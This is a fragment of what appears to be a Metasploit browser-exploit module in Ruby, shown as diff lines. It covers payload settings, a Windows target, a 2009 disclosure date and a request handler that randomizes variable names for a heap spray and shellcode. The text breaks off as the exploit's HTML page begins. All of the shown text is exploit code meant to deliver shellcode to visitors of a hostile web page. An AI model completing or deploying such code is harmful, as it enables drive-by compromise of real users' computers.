'Payload' => - { - 'Space' => 1000, - 'BadChars' => "\x00", - 'Compat' => - { - 'ConnectionType' => '-find', - }, - 'StackAdjustment' => -3500, - }, - 'Platform' => 'win', - 'Targets' => - [ - [ 'Automatic', { }], - ], - 'DisclosureDate' => 'Jan 14 2009', # wepawet sample - 'DefaultTarget' => 0)) - end - - def on_request_uri(cli, request) - - if (request.uri.match(/\.gif/i)) - data = "R0lGODlhAQABAIAAAAAAAAAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==".unpack("m*")[0] - send_response(cli, data, { 'Content-Type' => 'image/gif' }) - return - end - - var_boom = rand_text_alpha(rand(100) + 1) - - var_element = rand_text_alpha(rand(100) + 1) - var_event = rand_text_alpha(rand(100) + 1) - var_loaded = rand_text_alpha(rand(100) + 1) - var_loaded_arg = rand_text_alpha(rand(100) + 1) - - var_memory = rand_text_alpha(rand(100) + 1) - var_spray = rand_text_alpha(rand(100) + 1) - var_i = rand_text_alpha(rand(100) + 1) - - var_el_array = rand_text_alpha(rand(100) + 1) - bleh = rand_text_alpha(3); - var_grab_mem = rand_text_alpha(rand(100) + 1) - - var_unescape = rand_text_alpha(rand(100) + 1) - var_shellcode = rand_text_alpha(rand(100) + 1) - - var_span_id = rand_text_alpha(rand(100) + 1) - var_start = rand_text_alpha(rand(100) + 1) - rand_html = rand_text_english(rand(400) + 500) - - html = %Q| - - - - - -